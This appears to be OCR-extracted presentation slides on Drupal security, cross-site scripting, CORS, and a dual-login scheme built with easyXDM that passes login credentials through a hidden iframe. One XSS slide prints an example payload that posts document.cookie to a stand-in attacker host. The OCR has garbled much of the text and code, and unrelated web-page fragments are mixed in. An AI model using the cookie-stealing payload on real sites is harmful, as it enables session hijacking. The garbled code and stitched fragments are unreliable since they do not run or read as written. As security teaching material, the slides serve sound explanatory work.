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Security advisories

Drupal core = Contributed projects Public service announcements

These posts by the Drupal security team are also sent to the security announcements e-mail list.

Security announcements
SA-CORE-2013-002 - Drupal core - Denial of service

In addition to the news page and sub-tabs,

Posted by Drupal Security Team on February 20, 2013 at 8:50pm all security announcements are posted to

an email list. To subscribe to email: log in,
go to your user profile page and subscribe
to the security newsletter on the Edit » My
newsletters tab.

Advisory ID: DRUPAL-SA-CORE-2013-002
Project: Drupal core

Version: 7.x

Date: 2013-February-20

Security risk: Critical

Exploitable from: Remote

Vulnerability: Denial of service

You can also get rss feeds for core,
contrib, or public service announcements
or follow @drupalsecurity on Twitter.

Read more

Categories: Drupal 7.x

Drupal security Advisories

Drupal.org/security
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What is X557

Cross-Site scripting attacks are a type of injection
problem, In which malicious scripts are injected into the
otherwise benign and trusted web sites. Cross-site
scripting (XSS) attacks occur when an attacker uses a
web application to 'send malicious code, generally in
the form of a browser side script, to a different end

USELr.
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ExXample:

x Mallory posts a message with malicious payload to a
soclal network.

x \When Bob reads the message, Mallory's XSS steals
Bob's cookie.

x Mallory can now: hijack Bob's session and impersonate
Bob.
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http://en.wikipedia.org/wiki/Session_hijacking
http://en.wikipedia.org/wiki/Session_hijacking

ExXample:

<IMG SRC="javascript: postiViessage
(document.cookie, ‘http://malloryssite.com/pwnd’); ">
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http://mallorysSite.com/pwnd
http://mallorysSite.com/pwnd
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Resizing iIFrames Containing
Dynamic Content

<script type="text/javascript’>
function iframelLoaded() {
var iFramelD = document.getElementByld(‘idIframe’);
ifiFramelD) {
//-here you can meke the height, |- delete it first, then | make it again

IFramelD.height = "*;
. IFramelD.height = iFramelD.contentVWindow.document.body.scrollHeight +

</script>
OR script in host called from within the iframe: parent.iframel.oaded));
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CORS

Cross-origin resource sharing (CORS) is a mechanism
that allows a web page to make XMLHttpRequests to

browser and the server can interact to deter
whether or not to allow the cross-origin regu
more powerful than only allowing same-orig
but It Is more secure than simply allowing all
Cross-origin requests.
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another domain. such “cross-domain:- requests would
otherwise be forbidden by web browsers, per the same
origin security policy. CORS defines a way in which the

mine

est. It s

N requests,
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Enable CORS et Resources ' ~ Suggest! ~ Discuss!

Cross-origin resource
sharing

Cross-Origin Resource Sharing (CORS) is a specification that enables truly open access across
domain-boundaries. If you serve public content, please consider using CORS to open it up for

universal JavaScript/browser access.

Why is CORS important?

CORS Help

enaple-cors.org
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Get Your Windows TODAY

0) Find a Dealer

Professionals

Pro/Zone

— For Industry Professionals

ey’ J |

PGT ProZone is a web-based resource for Industry professionals that includes:
« Product catalogs and specifications
e Engineering drawings

« Miami-Dade Notices of Acceptance

Complete a brief ProZone registration if you are logging in for the first time.

Dual-Authentication Problem

Saturday, April 20, 2013



CONSUMER (local) Websie

PROVIDER (remaie) WWebsite in hidden iFrame

Client-side




ABOUT HOME

FAQ

Cross-Domain Messaging made easy

HOME BLOG EXAMPLES/HOW-TO'S FEATURES GETTING STARTED

Home

Notice: Using easyXDM and it suddenly stopped working in IE6 and IE7? See this.

easyXDM is a Javascript library that enables you as a developer to easily work around the limitation
set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript
APl's across domain boundanes

If you want to see it in action, see this RPC demo!

Some of the goals for the project are that it should

be easy to use!!!

be self contained, no dependencies (now requires Flash) (not counting JSON)
be light weight

be flexible

have good code quality (uses jslint etc)

EasSyXDV

easyxadm.net/wp
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Search This Site... GO

Download v2.4.16 (09/03/12)

from GitHub
See the for changes.

Has easyXDM saved you time? Show your
$418.00 Paissd

support for the project!
Commercial users are
encouraged to donatel!

Used by..




Provider (remote) JS

var provider = new easyXDM.Rpc({},
{

[oloz=1
{
login: {
method: function(name, pass) {
/1 Take username/password arguments-and-fill in-legacy login form.
$('#legacy-login-form-username-input-id').val(name);
$('#legacy-login-form-password-input-id').val(pass);
$(‘#legacy-submit-button-id").click();
//-Could probably use .submit instead
}// end method
} 7/ end login

} // end local

};
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Consumer (local) JS

// Setup the remote rpc for call.

var consumer = new easyXDM.Rpc(

{

remote: "http://example.com/login-page”

b
{

remote:

{
login: {}

}
}
}
);


http://example.com/login-page
http://example.com/login-page

Consumer (local) JS (cont.

// - Note: id of Drupal user form here is for the form used in login- BLOCK.
$(‘#user-login-form').submit(function(event) {

// Interrupt standard Drupal-login form submission

/I May seem a little redundant below, but'is apparently needed for some |E cases.

event.preventDefault();

if (event.preventDefault) {

event.preventDefault();
} else {

event.stop();

b

//perform remote RPC login using local Drupal login form field values.

consumer.login($('#edit-name').val(), $('#edit-pass').val());
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Consumer (local) JS (cont.

// Probably a more elegant way to handle this, but give 5 seconds for the rpc to connect and drop
// authenticated session cookie through hidden easyXDM iframe following login.
//- Then Kill our submission interception and resubmit the Drupal-login form
//-to finally be processed by native handler for local-login:.
setTimeout(function ()
{
$(‘#user-login-form').unbind(‘submit').submit();

}
5000

);
ok



DEMO
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a community of inspired developers

drupalsrg.net/forum-topic/single-signondual-
authentication-xss
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